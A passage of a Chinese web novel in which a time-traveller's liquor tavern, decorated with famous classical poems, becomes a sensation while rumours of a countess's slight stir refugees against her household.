能喝醉的酒，比什么都好。 一碗酒下肚，路斯道恍若仙人，晃晃悠悠，飘飘荡荡，又要喝时，店小二拿来了一小坛的酒，这样酒水不会洒出来。 抱着美酒，路斯道去看下一幅画，他又惊了。 这上面画的是一个少侠，在荒野之间喝酒，旁边死了很多人，刀剑散落一地，少侠胸口中剑，手里拿着泥塑玩偶，分明是个女子形象。 留白处写着一首词：问世间，情是何物，直教生死相许？天南地北双飞客，老翅几回寒暑…… “天哪！” “这也是你们韩先生写的？” 能看到一个美丽的句子，路斯道已经非常满意了，不想，马上就看到了一首词，情意绵绵不说，还侠气纵横。 他摇头晃脑，吟咏不已。 “正是，我们韩先生苦思冥想了一夜，写下这许多锦绣文章。” 店小二根本不认识几个字，也不知道好不好，只知道韩平写得挺辛苦，写好了，还改了几次。 “观止矣！若有他词，我也不敢再看了。” “今日文醉词饱！痛快！” 能看到这样的词，路斯道直接满足了，“此等美酒，不可多得，店里有多少，我全要了！” 路斯道担心的是，以后没有了怎么办？ 古往今来的老酒鬼都有一个习惯——存酒！ 就和老农存粮食过冬一样，酒鬼存的也叫口粮。 他要全包，外面看热闹的兴奋了。 论喝酒，诗酒剑路斯道说第二，没人敢说第一，他竟然如此喜欢，这酒得多带劲啊？ 逃荒的看到了希望，激动不已。 酒水这么好卖，工坊还会继续要人，明天也许自己就能进去。 “三圣爷，抱歉了，阎罗醉名贵，工坊每日所酿，仅有几十坛而已，因此韩先生规定，店里喝酒随意，每人每日，只能带走两坛。” 不限购能叫奢侈品吗？ 想买？ 喜欢是吧？ 就不卖给你！ 嗯，这么一来，就高贵了。 同时韩平也想着，让更多人知道这款酒的好，名声传出去，牌子立起来。 “既然如此，那我先喝饱了，再买两坛。” “有什么菜，给我来一些。” 把看到的两副文字抄录下来，给了钱，路斯道吟唱着“千山暮雪，只影向谁去？”，喝酒吃菜，哭笑疯癫。 放眼整个嘉陵城，诗酒剑路斯道，是第一文雅，第一剑豪，文武双全，身份名贵。 这儿发生的事情传播出去，顿时引来了无数附庸风雅的纨绔和财主。 嘉陵城是水陆两道的交通枢纽，有钱人多的是。 …… “天哪！写得太好了，呜呜呜……” 著名纨绔梅家三少一边喝着酒，一边哭了起来。 他眼前的画上，一男一女站在城墙，女子穿红衣，男子抱着剑，下面还有很多看热闹的。 城墙上写着白话：曾经有一份真诚的爱情摆在我的面前，我没有珍惜，等到失去的时候才追悔莫及，人世间最痛苦的事情莫过于此…… 有些文字太含蓄，梅家三少看不懂，这一幅他看懂了，而且被感染到了。 不远处，是一个苍髯老者，腰间悬宝剑，喝着酒，仿佛回到了刀光剑影的过去，他眼前的画上写着：满堂花醉三千客，一剑霜寒十四州。 再往里面，有长衫文士，微笑品味，他眼前写的是：绿蚁新醅酒，红泥小火炉。晚来天欲雪，能饮一杯无？ 不同的人有不同的过去，这里的画也好，诗词也好，文字也好，都写了一种或美丽，或伤感，或热烈的，让人想喝酒的意境。 “这位韩先生，莫非是仙人吗？” “如此滔天大才，怎么寂寂无名？” “我愿出三十两，只求见韩先生一面。” 懂行的，不懂行的，都惊了。 不光酒销售罄尽，已经有人对韩平，五体投地的崇拜。 第45章 秀才 第四十五章 秀才 追其根源，还是韩平的营销太过凶残了，完全是用力过猛，杀鸡用了屠龙刀。 这个世界最高尚，最雅致，最被人看重的，便是诗词。 他把随便哪一首，都是震古烁今的名篇，来塑造意境。 再用瘦金体写出来，能不吓人吗？ 书法大家很多，但是要说名气最大的，肯定是瘦金体。 瘦金体是不是最高明不好说，但有一个其他字体没有的特点。 那便是，只要是认字的，哪怕丝毫不懂书法，也能马上看出来，这瘦金体高明，有着独特的审美意趣。 其他字体没有一定的审美训练，根本看不出好在哪里。 韩平的画和当下的文人画也大不相同，采用了透视法。 所谓透视，就是遵循视觉原理的一种画法，如此便能更加精确地，在二维纸面上，表达立体真实。 当下的文人画，重意境，不重真实。 连近大远小这种基本原则都不遵守的，所以往往画得富有神韵，但画得不像。 透视是尊重眼睛的画法，远处的东西小，近处的东西大，眼睛看到的人也好，景物也好，要惟妙惟肖地表现出来。 名篇诗词，瘦金体的字，还有透视的画，表现力对这个时代的人而言，简直是振聋发聩。 他写出来的名篇，还有《短歌行》 对酒当歌，人生几何？ …… 有《声声慢》 寻寻觅觅，冷冷清清，凄凄惨惨戚戚。 …… 有葡-萄美酒夜光杯，欲饮琵琶马上催。 有老夫聊发少年狂，左牵黄，右擎苍，锦帽貂裘，千骑卷平冈。 有纵酒狂歌空度日,飞扬跋扈为谁雄？ 有世事一场大梦，人生几度秋凉。 有人生若只如初见，何事秋风悲画扇。 …… 说到底，韩平担心第一炮打不响，孤注一掷，导致一鸣惊人。 嘉陵城的秀才，举人，进士，乃至白衣，都想见韩平一面，不惜出重金。 还有精明的商贾，看出了阎罗醉奇货可居，已经有了应对。 他们让人帮着购买，一人只能买两坛，那好，我自己买两坛，再找人买两坛。 既然稀缺，他买了自己不喝，再高价卖出，赚取差价。 没办法，阎罗醉的噱头太多了，清冽，能点着，天下第一烈，还有那么多诗词名篇。 商贾也想见见韩平，想着能不能弄个批发价。 “韩先生人呢？新铺开张，他这个东家怎么不到？” “我倒是知道为什么，只是不好说。” “啊？你知道？说啊说啊。” “一是因为韩先生太累了，已经好几天没有睡过觉了，身体坚持不住。二则是，韩先生被人伤到了，内心受到了摧残。” 嗯？ 听到这种内情，文人和商人都眼睛放光，看热闹的，逃荒的灾民同样好奇，谁这么放肆，竟然敢摧残韩先生。 有些文人已经是义愤填膺。 连喝得大醉的诗酒剑路斯道也看了过来。 “快说，谁摧残了韩先生？” “如此泼天大才，岂可摧残？” “莫非是知州吗？” …… 面对一片追问，知道内情的老头儿气血翻涌，老脸发红，现在箭在弦上，不得不发，他猛喝了一口酒，豁出去道： “各位，今天我老头子，舍命也要把仁义无双，惊才绝艳的韩先生给护上一护。 我大越民生凋敝，文风不振，太需要这种人才了呀。 他日我若遭遇不测，万望各位，对我的家人，照顾则个。” 众人更加讶异，有人认出来，这位老者是屡次考试不中的老秀才周济儒。 他今年已经五十三岁了，依旧是秀才。 幸好家里颇有产业，所以他这一辈子，便只干一件事，读书考科举，活到老，考到老。 就凭着他这一股子犟驴劲头，大家真不敢小看他。 人家今年是秀才，明年就可能是举人，后面就有可能成了进士，这种大户人家，六七十中举的，所在多有。 就仅仅是秀才，人家便有众多特权了。 比如，免税，大越王朝规定，秀才只需要缴纳一半的税。 还有，免除徭役，普通人要苦哈哈地去戍边，修城墙，建堤坝等等，秀才不用。 怕穷秀才没吃的，还有粮食补贴，一个秀才，什么也不用干，就靠这个身份，便可以逍遥一生。 秀才也有特别的尊荣，虽然没有进入文官体系，但已经是到门口了，所以见到官员，不用下跪。 若是犯法了，不能用刑。 地方长官见了都要尊重，还会询问秀才各种地方事务。 毕竟，秀才读书明事理，又了解地方的实际情况，不问秀才问谁去？ 士农工商，虽然秀才是最低一级的士，那也是士，普通人踩着高跷也够不到。 现在也就是灾荒，老百姓快要饿死了，才允许四处逃荒，若是寻常年间，是不能随意走动的。 秀才就可以四处游学。 如果实在没钱继续考了，随便找个私塾，便能当个夫子，位列西席。 “周老秀才直说吧，我倒看看，谁那么猖狂，竟然摧残大才。” “是啊，韩先生开设工坊，救济灾民无数，嘉陵能够如此平顺，韩先生居功至伟，谁让他受委屈，我不答应。” “诗酒剑路子爵在此，自然会主持公道！” …… 面对一片喧嚣，周济儒捋捋白胡子，长叹一声：“不瞒各位，我有一位近亲，在伯爵府当差，是以我知道内情。 说来话长，这阎罗醉的酒水，原是伯爵府三少爷出钱，韩先生出力经营，君子击掌为约，说好了的。 可伯爵府的夫人轻视韩先生。 是以，三少爷前往渔阳城之后，韩先生再想从伯爵府拿钱，便不能了。 不但不能，伯爵夫人更是把韩先生叫了去，百般折辱！” 说道百般折辱这四个字，周老秀才眼泪下来了、 周围的人顿时义愤填膺，商贾都知道，两人合作做生意，最怕资金链断裂。 什么都准备好了，工坊开了，长工短工招了，突然没钱了，这不是坑人吗？ 文人则是倍感屈辱，韩先生这般文采赫赫，却被妇人糟践，还有天理吗？ 逃荒的灾民更是点火就着，群情汹汹。 “小人逃难求存而来，一心想进入工坊，从未想过，韩先生的背后，竟然还有诸多酸楚。” “我该死！因为没能进入工坊，我心中对韩先生颇有怨言，可我何曾想过，肩负那么多，韩先生承受着什么。” “任文采锦绣，也要受高门大户妇人的磋磨，午夜时分，韩先生涕泪滂沱时，谁人听闻？” “我远远看过韩先生一眼，原以为他是风流潇洒男儿，哪知竟忍辱负重至此！” 第46章 讨伐伯爵夫人 第四十六章 讨伐伯爵夫人 潇洒的背后，隐藏着悲怆。 光鲜的背后，是许多耻辱。 大家一下子都理解了韩平，愤慨不已，至于听到的话，是不是老先生周济儒的脑补，谁还会在乎？ 周济儒确实从亲戚嘴里听到，伯爵夫人为难韩平，但百般折辱这个词，完全是他自己想的。 一个高贵的伯爵夫人，对一个需要仰其鼻息的白丁，还是要钱的白丁，除了百般折辱，还会有别的可能吗？ 反正周济儒认为自己说得一点问题没有。 而且，他自己也是格外愤慨，情绪上来了，当然是继续添油加醋，好像韩平的一举一动，他都看到了一样。 “灾情如火，饿殍遍地，韩先生仁心仁术，为拯救苍生，多方奔走。” “伯爵夫人替子违约，韩先生为天下，为世人，不顾斯文，下跪磕头，涕泪青衫，哀哀以求，再三言明，酿制阎罗醉，乃是为解民倒悬。” “奈何伯爵夫人，言语嘲讽，百般凌-辱。” “当面耻笑先生，说，你那什么酒，喝了能成神仙吗？谁买啊？我家也没金山，为何让你挥霍？” “更可气的，她说韩先生想法幼稚，荒诞不经，出丑卖乖，巧言令色，不过是想骗伯爵府的银钱，还说韩先生行为疯癫，贻笑大方，令人喷饭，滑天下之大稽，恰如沐猴而冠也！” 周老秀才不愧是考了五十年的秀才，脑补之后，生动形象地展现了伯爵夫人可恶嘴脸，以及韩平仁义无双，又悲苦辛劳的形象。 已经上瘾了，最后他忍不住又来几句：“为节省银钱，开此酒肆，韩先生三天以来，半粒水米未曾沾牙，苦心孤诣，点灯熬油。 眼睛熬红了，身体熬垮了，所以今日开张，未曾到场。 老朽不才，替韩先生说声抱歉，还请各位多多见谅。” 这小词整的，感染力太强了。 有人已经痛哭不已，有人则是咬牙切齿。 特别是因为灾荒，失去一切，处在死亡边缘的人，更是恨意滔天。 “韩先生何等不易，我为韩先生一哭。” “伯爵夫人还是一等诰命呢，就如此羞辱贤良吗？” “哼！伯爵府占着那么多地，吃香喝辣，穿金戴银，何曾在乎过我等的死活？” “韩先生为我等劳心劳力，伯爵夫人折辱韩先生，我们便这般看着？” “先生能为我屈尊，我愿为先生效死！” “如此大才，折辱于妇人之手，巍巍苍天，不开眼乎？” “苍天已死，黄天当立！岁在甲子，天下大吉！” …… 饥民一旦聚成团，星星之火，便能燎原。 说着说着，杀机直指伯爵府。 砰！ 诗酒剑三圣路斯道，把手中酒坛砸在地上，大叫：“各位，如此妇人，你们气愤，我也容不得她。我虽归乡，仍有参奏之权。等我参她一本，上达天听。” 虽然喝醉了，基本的道理，路斯道还是清楚的，再继续闹下去，你添火来我捡柴，一场大乱就在眼前。 现在最重要的是要安抚住众人。 他大笔一挥，落纸成文：“恭请圣安，臣嘉陵子爵，路斯道谨奏。兹有谢伯爵府之夫人米氏，一品诰命，世受国恩。然国难之时，不思体恤，踏贤士如敝履，弃饥民于道旁。 …… 以致怨声载道，蜩螗沸羹。恨意滔滔，民心易变，其人有曰：苍天已死，黄天当立，岁在甲子，天下大吉。” 看路斯道写了奏疏，有些灾民还是气不过。 韩先生想给我们一口饭吃，你却践踏韩先生，这事没完。 好多人浩浩荡荡地去了伯爵府，高声戾骂。 因为人数太多，黑压压的，连伯爵府的护卫都吓坏了，赶紧报告给大管家陈泓，说明其事。 陈泓作为大管家，对眼下的状况是了解的。 饥民这是找了个理由，拿伯爵府开刀呢，其他很多地方都发生这种事情了，乡民称之为吃大户。 被吃的大户，无一不是家破人亡。 面对这等暴-乱，官府根本不敢过问，反而会庆幸，饥民没有找官府麻烦。 他急匆匆地赶往内堂，跑得气喘吁吁。 …… 内堂，伯爵夫人吃着冰镇西瓜，正在训斥谢京珠。 “刚才你出去，是找那个韩平了？” “你们兄妹到底怎么回事？身为勋贵，和一下贱平民往来，也不怕别人闲话？” “从今往后，万万不可再和韩平接触。” “等你三哥回来，我也叮嘱于他。” “你看韩平干的那事吧，卖什么一千文一斤的酒，这不是痴人说梦吗？” “哼！他也就是看你们年轻，以为骗得过，有我把关，他休想再从咱们府弄走一文钱。” …… 圣人有云，三十如狼，四十如虎。 大凡妇人，若是相公多日不在身边，便渐渐烦躁多怒，每天都要呵斥他人，方才舒坦。 伯爵夫人便是如此，正好眼下她看不惯韩平，自然是多番说教。 “夫人，祸事了！” 大管家陈泓小跑进来，扑通跪在地上，来不及擦汗，“韩平的阎罗醉，大卖。” 那么多傻子吗？ 一千文一斤，也去买？ 强忍着心中的不舒服，伯爵夫人皱眉道：“如何大卖？卖出去多少？” 旁边的谢京珠也想知道，她投了那么多钱，还想早点获利。 最重要的，韩平说的那么多话本，别是假的了，她可等着看呢。 “夫人，有多少便卖掉了多少。” “因为购买的人太多，韩平规定，每个人只能买两坛。 ” “有人购买之后，转卖他人，一千文入手，三千文转卖，有价无市，到处都在求购。” “就连酒肆里的书画，都有人临摹，一张卖到八十文。” …… 任何时代都会有人赶时髦，现在嘉陵城最大的时髦，便是阎罗醉，以及那些诗词，书画。 既然有利可图，无数临摹的书画便传播了出去，这个连韩平自己也是始料未及。 “可恶！” “不想他还真有本事，这和我们有什么关系，何来祸事？” 在伯爵夫人的观念里，下贱的，便一直下贱好了，她分外不习惯，下贱的变高贵，韩平的样貌身形，行为举止，看不出是个下贱人，她不喜欢。 “阎罗醉爆火之后，有人说，夫人替子违约，百般折辱韩先生。” “诗酒剑路子爵为民伸张，写了一封奏疏，上奏弹劾夫人，奏疏写得格外吓人，其中最后一句是：苍天已死，黄天当立，岁在甲子，天下大吉。” “如今有七八万灾民，包围了伯爵府，要讨伐夫人您。” 啊？ 伯爵夫人僵住了，心内冰凉，什么苍天已死，黄天当立，分明是造反的话。 灾民为了讨伐她，竟然要造反。 这可是动摇国体的大事，她哪里能担得起？ 第47章 急了 第四十七章 急了 最可恐惧的是，越朝格外的反对女人干政，之前的皇后，就是因为这个原因，被腰斩。 在越朝的历史上，或被打入冷宫，或被赐三尺白绫，死者无数，上上下下的共识，牝鸡不得司晨，女人无才方是德。 区区一个伯爵夫人算什么？ 但凡动摇半点江山，别说她，只怕谢氏，米氏，会被诛杀九族。 “我没有折辱过韩平，这是谣言。” “有人妖言惑众！” “护卫呢？官府呢？让他们赶紧驱散那些下贱之人。” 一生都看不起身份底下的人，不想今日，被这些人给逼住了。 伯爵夫人心中恼怒，就好像无端端被毒蛇咬了一口。 上位者是不会犯错的，就算犯了错，也没有犯错。 她当然不可能承认错误，只想解决问题。 “夫人，外面可是七八万人之多，府中护卫，家丁加在一起，不到两千，如何抵挡？” “更不要说，还有更多饥民源源不绝地加入。” “知州和通判不愿意招惹饥民，饥民是为韩平讨公道，他们和韩平关系甚好呀。” “眼下之际，最好的法子，是安抚灾民，免生不测之祸。” 陈泓也没想到，偌大的伯爵府，竟然转瞬之间处在了弱势，很多地方别说伯爵，公爵府都被冲垮，府中之人，被杀得精光。 饥民对于勋贵有着天然的怨恨。 因为饥民平日里受到了太多勋贵的压榨，土地也是被勋贵夺走。 勋贵中当然有好人，可谁在乎？ 在快死的人眼里，这些人都是有罪的。 “安抚？我一品诰命，去安抚下贱之人？” 缩了缩手，伯爵夫人眉头皱起，正在无能狂怒，突然有人急报：“老夫人来了。” 老夫人是谢伯爵的亲妈，一心礼佛，向来不问凡俗，可不出来不行了，眼看着伯爵府要灭了的节奏。 她一头银发，精神矍铄，自带一股强大气势。 伯爵夫人，谢京珠，都急忙站了起来，让出主位。 “若兰，让你管家，怎么管成这个样子？” “亏你平常时节对圣儿各种说教，他走才几天啊，伯爵府便要顿亡了。” “那韩平是圣儿礼贤下士招揽的贤才，好端端地，你折辱人家干什么？” “人家哪里得罪你了？” 老夫人气得坐不下，龙头拐杖一个劲地杵地。 伯爵夫人向来咋咋呼呼，对闺女，对儿子，都是恨铁不成钢，结果她自己才是草包。 礼贤下士的事，伯爵府一向是有名的，这是要掘根啊。 名声败坏了，再立起来，那就难了。 “婆婆，我……那韩平先是要了一千两银子，几天前又要两千两，我也是怕被他骗了，所以才没给。就这点事，没别的，是有人造谣，方才有此大事，婆婆一定要支持我呀。” 伯爵夫人脸色苍白，她是打心眼里，不认为自己有什么错。 作为内宅之主，她的职责便是守住资财，谨慎点怎么了？ 哪有别人要钱，就给的啊？ “你！你竟然愚钝至此！” “韩平要钱，那是圣儿答应他的，圣儿守家，是一家之主，他的决定，你岂可擅自篡改？” “牝鸡司晨，祸乱之源，这点道理你不懂？” “还说怕被骗，那韩平单枪匹马，屠灭悍匪十九，知州府都嘉奖了，这样的人，不该笼络吗？” “他须不是白要了咱家的钱，都有契约的，赚了钱，会分给圣儿。” “被你从中作梗，如今阎罗醉大卖，圣儿还好意思拿钱吗？” “一千两加两千两，左不过三千两银子，因此作践贤良，何等不智？” “你说别人造谣，那我问你，韩平入府，给你下跪了吧？” 人老精，鬼老灵，老夫人经历的事多了，说起话来，句句在理，大管家陈泓那是头也不敢抬。 按理，家里没有男人做主，大管家有协助之责。 “下跪了又如何？他不过一介白衣，难道不应该吗？” 伯爵夫人矜贵地红着脸，还是不肯认错，她当主母久了，顺风顺水，何曾对人低过头？ 满嘉陵城的人，见了她不下跪的，有几人？ “那能一样吗？” “韩平是寻常白衣？” “他之前剿匪，赋诗，便已名动江左，如今更是诗坛翘楚，士林领袖，无数灾民，视他为救星。” “知州，通判也不敢受韩平跪拜，你何以如此张狂？” “折辱之后还嘲笑人家，而今事实证明，你错了，认个错都不行？” “只有当着大家的面，向韩平认错，眼前危局，方可解开。” 老夫人说得吐沫星子乱飞，伯爵夫人白腻的双手绞杀在一起，隐约意识到，自己行为有点欠妥。 但当众道歉……万万不可！ “大不了，他再来要钱，便给他好了。” 憋了半天，她还是想着用钱解决问题，就好像打发要饭的。 老夫人整个气笑了：“他要是不来呢？” 这？ 来要钱的时候，看着讨厌，如今不来了，更加麻烦，伯爵夫人心里别扭得要死，难道说还要主动给他送钱？ 尊贵的伯爵夫人给一个平民上赶着，送钱…… 强烈的耻感，让她紧咬牙关，不肯松口。 “好！” “老身给了办法，你不依，那老身便不管了，你看着办吧。” “我倒要看看，你能折腾出什么花样来。” 老夫人颤颤巍巍地离开，伯爵夫人如同热锅上的蚂蚁，沉思许久，吩咐陈泓：“快去请我哥哥过府一趟。” 米家同样是大家族，尤其在商业的成就极大，嘉陵城九成的布匹生意，都是米家在做，除了嘉陵，还辐射周边许多城郭。 很多时候，是米家在补贴伯爵府，供应花销的。 米邦盛来到伯爵府，了解了情况，连连摇头：“绝对不能认错。” 已经有点动摇的伯爵夫人不解：“为何？” 精通人情世故，更精通礼法的米邦盛肃然道：“咱们越朝是圣人之邦，讲究的是为尊者讳。尊者若是犯错，当隐之。此乃春秋大义，圣道根本。 这里还有另一重意思，若是没有人为尊者讳，那这尊者，便不再是尊者了，反而会被人厌弃，轻视。 作为一品诰命，当为嘉陵仪范，岂能有错？” 大商贾都是读书的，也都考过科举，是没考上，才退而求其次，不过米家子弟，还是有进士，有举人的。 又和伯爵府结亲，早就不是寻常商贾了。 没事的时候，米邦盛就喜欢读书，无他，越朝是读书人的天下，不研究怎么行？ 越研究他就越发现，读书人比商人要聪明一万倍。 犯了错不准别人说，就这么一个事，竟然堂堂正正地写进书里面，并且说这是圣人之道。 多么彪悍啊！ 商人算个毛？跟人提鞋都不配，一只都提不起来。 “可眼前局面，如何解决？” 能不认错，伯爵夫人当然不想，她怕的是饥民暴-乱。 第48章 白蛇传 第四十八章 白蛇传 “当然是安抚灾民，平息他们的怒火。” “一，以伯爵府的名义，搭建粥棚，施舍众人。” “有了吃喝，谁还会闹事？” “二，尽快和韩平缓和关系，他在嘉陵之人望，如今已是登峰造极，士农工商，无不赞颂，好好的，得罪他干嘛？” “更不要说他是圣儿客卿，是伯爵府招揽的贤才，本来是一家人。” “若兰，你这件事，确实是做错了，虽然不可认错，却要知错改错。” 知错改错是为了变得更强，不认错是为了立住刚健名声，这是出人处事之本，米邦盛为亲妹子谋算，老成妥帖，尽显人精本色。 不用道歉，伯爵夫人心中宽慰，叹口气道：“听大哥的，只是如何才能和韩平缓和关系？他卖酒盈利，只怕不会来府上拿钱了。” 这叫什么事啊，担心一个白衣不过来拿钱，原来不想给，现在恨不得给人送过去，伯爵夫人就觉得，自己这事办的，着实贱得慌。 “你已折辱于他，需要有人从中说和才行，问题是，谁有那么大脸面啊？” 连米邦盛也为难了，伯爵府固然可以去找知州，通判，但这两位深通人情世故，他们绝对不肯的。 因为他们说和，就等于是让韩平受委屈了，他们还要仰仗韩平呢，怎么肯让韩平受委屈？ “大哥，我真没有折辱他。” 听到这词，伯爵夫人就炸。 折辱……这词一听就是给坏人准备的。 米邦盛不耐烦了：“若兰，你怎么还不懂呢？韩平拜见你，你不制止，不搀扶，这就是折辱，放眼整个嘉陵，谁也当不起韩平一跪，这点道理你不明白？” 俗话说，士别三日当刮目相待，人家韩平已经不是一般的老百姓，自己这个妹妹，还想着拿架子呢。 韩平被折辱，伯爵府差点被灾民冲垮，多大的教训啊。 “我……我晓得了。” 竟然要和白丁平起平坐，伯爵夫人烦躁。 这时，谢京珠说话了：“我来从中说和吧，只是母亲不道歉，终究不妥，万一韩平报复，说不定连舅舅也牵扯其中，那可麻烦了。” 现在谢京珠是彻底认可韩平的实力了，人家一个人，就没干啥，伯爵府都要没了，如果真的动动手指，谁能抵挡？ 舅舅也算人杰，但很韩平比，好比蚍蜉撼树，有点可笑的说。 “你一个女娃儿，拿什么说和？” “我们大人说正事呢，你别插话，别胡闹。” 习以为常地，伯爵夫人又训斥了起来。 米邦盛也是帮腔：“女子只在家里绣绣花就好。” 谢京珠气得跳了起来：“母亲折辱韩平之后，我追了出去，给了韩平四千两，他的工坊，有我一份子，你们说，我能不能说和？” 嗯？ 两个长辈眼睛放光。 说起来，伯爵府和韩平的关系挺奇怪的，年轻一辈和韩平都很好，是长辈没处好关系。 “好！真是我的好女儿啊！” “这是一万两，你拿着，见到韩平，帮我说说话，我真的没有想过折辱他啊。” “他如果需要钱，一万两不够，你再跟我要。 ” 翻脸如翻书，伯爵夫人看到大救星一般，乖乖孩儿的，抓住谢京珠的手不放，她是真的有点怕了。 一朝被蛇咬十年怕井绳。 她没想到韩平那么难缠，稍微得罪，就闹得惊天动地。 “那我不客气了。” 接过钱，谢京珠笑吟吟的，“我还是觉得母亲该道歉，我去说和，他表面不当回事，心里如果记恨了，母亲和舅舅你们怕是吃不消哦。” 能够说教自己的母亲和舅舅，真的太爽了。 谢京珠才发现，原来嘟囔别人，是那么舒服的事情，怪不得母亲一天到晚，叭叭个不停呢。 “不会的，我以后小心行事，不让他抓住把柄就是。” “那么大个伯爵府，要钱有钱要人有人，反正也求不到他身上。” 两个长辈只想过去眼前这一关，对以后之事，并无担心。 …… 商量妥当，伯爵府搭建粥棚，为了安抚灾民，不敢熬得太稀了，另外还让管家，给闹事的头，送了点银子。 灾民嘛，只是想吃饭，有饭吃，暴-乱渐渐平息。 城楼上的伯爵夫人，松下了一口气，只是，看着排了几十队的灾民，每一队都看不到尽头，她又愁了。 这得花多少钱啊？ 有些灾民，领了粥，好家伙的，直接往嘴里倒，瞬间消灭，拿着碗，又去排队了。 更可气的，有些人根本不是灾民，换上一身破烂衣裳，也过来领吃的。 一大锅粥很快便没了，得马上煮，不然就有灾民高声大骂，说伯爵府百般折辱韩先生。 什么我为韩先生，脑花磕在你们伯爵府的大门上。 什么韩先生为苍生抱薪，我们不可让他冻毙于风雪之下。 什么我死后，为我种下一颗枇杷树，十八年后，亭亭如盖矣。 更可怕的，有人举着木牌子，上面写着：苍天已死，黄天当立，岁在甲子，天下大吉。 看到这几个字，伯爵夫人想死的心都有了，这太吓人了。 现在她看到韩平的名字，肝颤、心悸、恐慌！ …… 能光明正大的出去，谢京珠欣喜万分。 不过，为了免得惹来非议，她还是面罩一层轻纱，坐着轿子，很快来到了韩平家里。 “韩平，这是家母的一点歉意。” 没废话，谢京珠直接把一万两银子给了韩平。 韩平老实不客气地接了，工坊需要花钱的地方多着呢，就算花不完，存着也好。 尤其让他高兴的是，伯爵夫人之前不肯给两千两，现在一万两送上门，她心里定然很不舒服。 她不舒服，咱舒服！ “不敢当不敢当，何来道歉之说？不用不用。” 表面上他当然是大气得体，谢京珠眼珠一转：“韩平，你该给我母亲找麻烦，还是要找麻烦的。她有了麻烦，就不会唠叨我了，我也能出来找你玩。对了，你做什么好玩的呢？” 真真是大小姐，就想着玩。 韩平去拿了几张宣纸：“这是我为四小姐准备的话本，还只是前面的部分。” 嗯？ 还真挖到宝贝了，她抢夺一般用白嫩的爪子抓住，废寝忘食地看了起来。 一边看，还一边惊诧不绝。 “白蛇？修炼成精，幻化人形，从蛤蟆精手里抢夺内丹，有意思，有意思……“ “变成女人了，叫白素贞，拜师了，还有尘缘未了。” “西湖是什么地方？她怎么报恩？” “收了个丫鬟叫小青，好快啊……” …… 第49章 大采购 第四十九章 大采购 《白蛇传》这话本，能够传唱不绝，就在于剧情绝妙，一波三折，对谢京珠完全是降维打击。 她手不释卷，愣是站着看完了，然后一个劲地问：“然后呢？然后呢？” 韩平是忙里偷闲，写一点，不可能把时间都用在这上面，便道：“四小姐，后面的需要再等几天，现在我要去买菜了。” “买菜干什么？” 谢京珠像个傻子一样，韩平无奈：“工坊里有两万多人，需要吃饭，不买菜，他们吃什么？” “嗯？有意思。” 好像又发现了什么，谢京珠眼珠子溜溜转，“我可喜欢喂鱼了，喂人就没喂过，一起一起。” 这家伙…… 养人当养鱼是吧。 刚从她手里拿了一万两，真不好拒绝，韩平表面客客气气，和谢京珠来到一片平地，只见现场各种卖菜的，卖肉的，还有牵着猪羊，捆着鸡鸭的。 他们身前有牌子，写着价格。 韩先生到了，都眼巴巴地看着，但没有人说话，这幅场景着实有点古怪，谢京珠看得眼睛都不眨。 “野菜，全要了。” “韭菜，全要了。” “葱，要一百斤。” “藿，两百斤。” …… 这里说白了，是韩平一个人的菜市场，他作为顾客，不是他去找卖家，而是卖家过来找他。 自然是因为工坊需要的食物太多了。 做生意的都愿意过来，而且，价格上比外面还要便宜一些，因为韩平要的多。 韩平负责给钱，南宫狗剩带着厨师们负责装到独轮车上。 今天做什么，给谁吃什么，都是韩平来决定的。 “这坛猪油要了！” “一头猪，四头羊羔，要了。” “还有这些鸡鸭，全要了。” …… 为了防止更多的灾民过来，韩平并没有让长工吃太好的伙食，最好的东西，便是猪油。 今天得给酿酒工坊的长工吃点好的，因为阎罗醉大卖。 有功必赏！ 有过必罚！ 只要建立这种印象，便可垂拱而治了。 再大的工坊，它自己会自动运行。 不过，好也要有限度，买好了菜，肉，主食等等，他安排伙食。 酿酒工坊今天的伙食，除了菜团子，还有野菜炖猪下水，以及酸汤。 至于猪肉，当然是他自己吃。 现在家里人口不少，这会的猪，贫瘠，身上又没多少肉的，完全吃得完。 “韩平，咱们不去看喂人吗？” 眼见韩平安排好，便要往家回，谢京珠立刻拦住。 她想得简单，养鱼最有意思的，是喂鱼，养人最有意思的，那也是喂人啊。 “我天天看，早就看腻了，你自己去看吧。” 什么毛病，看喂人……韩平还要回家吃东坡肉呢，实在不想奉陪。 谢京珠反而更高兴了：“那好，我去了哈。” 带上通行牌，她也不让护卫跟随，像一朵红云，出现在各处工坊。 她是伯爵府的小姐，做工的人，也不敢乱看，只是诧异，她怎么来了？ 谢京珠基本都在深宅大院里，见到的都是伯爵府里的人，一下子见到那么多人干活，倍觉稀罕。 “你们在干什么？” “回四小姐，我们也不知道，韩先生教的。” 遇到看不懂的，她还去问，结果，干活的也不懂。 闹呢，韩平为了防止技术泄露，把工序都给分开了。 不同的小组，只需要做固定的工序便可以，这样最简单，效率也最高，有点流水线的意思。 同时，谁都搞不清楚咋回事。 嗯，有意思。 越看不懂，谢京珠越是兴致盎然。 不多会，到了正午，开饭了。 人群呼啦啦地跑向开饭的地方，都是露天，这边一堆，那边一堆，谢京珠看得津津有味。 因为这里的人吃东西，比府里的鱼都凶猛。 府里的鱼吃东西，懒洋洋的，已经不抢食了，这里的人，好家伙，饿死鬼投胎一样。 “酿酒坊的所有人听着，阎罗醉大卖！” “韩先生为了奖励大家，今天我们吃肉！” 石出火大喊大叫，骄傲得像个大公鸡。 那么多人，只有他获得了十分优秀的评价，他也是第一个干出成绩的，美滋滋。 底下的人那是嗷嗷叫。 “天哪！肉，五年之后，我终于又看到了肉。” “桂芬，我吃到肉了！” “原来肉是这个味，真香！” “当长工还能吃到肉，韩先生真把咱们当亲儿子养啊。” …… 吃到肉的，有的激动无比，眼泪直流，人对肉的热爱，是本能的，这些人，早就馋了，吃起来更凶暴。 吸溜吸溜…… 吧唧吧唧…… 咯吱咯吱…… 吃完了还要舔碗，舔得干干净净，一个油花花都不留下，附近工坊的人，羡慕到眼红。 大家吃菜团子，蒜瓣子，挺好，可有人吃肉了，还吧唧嘴，谁心里能是个滋味？ “嗯……有意思。” 谢京珠是观察者，她看到大部分人都在羡慕，乐开了花，这比喂鱼还好看，鱼就知道乱抢，不会羡慕。 等大家吃完饭，她还意犹未尽，恋恋不舍地离开了工坊。 …… “韩平原谅我了吧？” 伯爵夫人还等着呢，没有韩平组织，灾民怨气滔天，如果韩平出来喊话，只怕伯爵府要家破人亡。 “母亲，我好说歹说，韩平是原谅您了，不过，他提了一个要求。” “他让我每天都去工坊帮忙。” 为了装得像，谢京珠还叹口气。 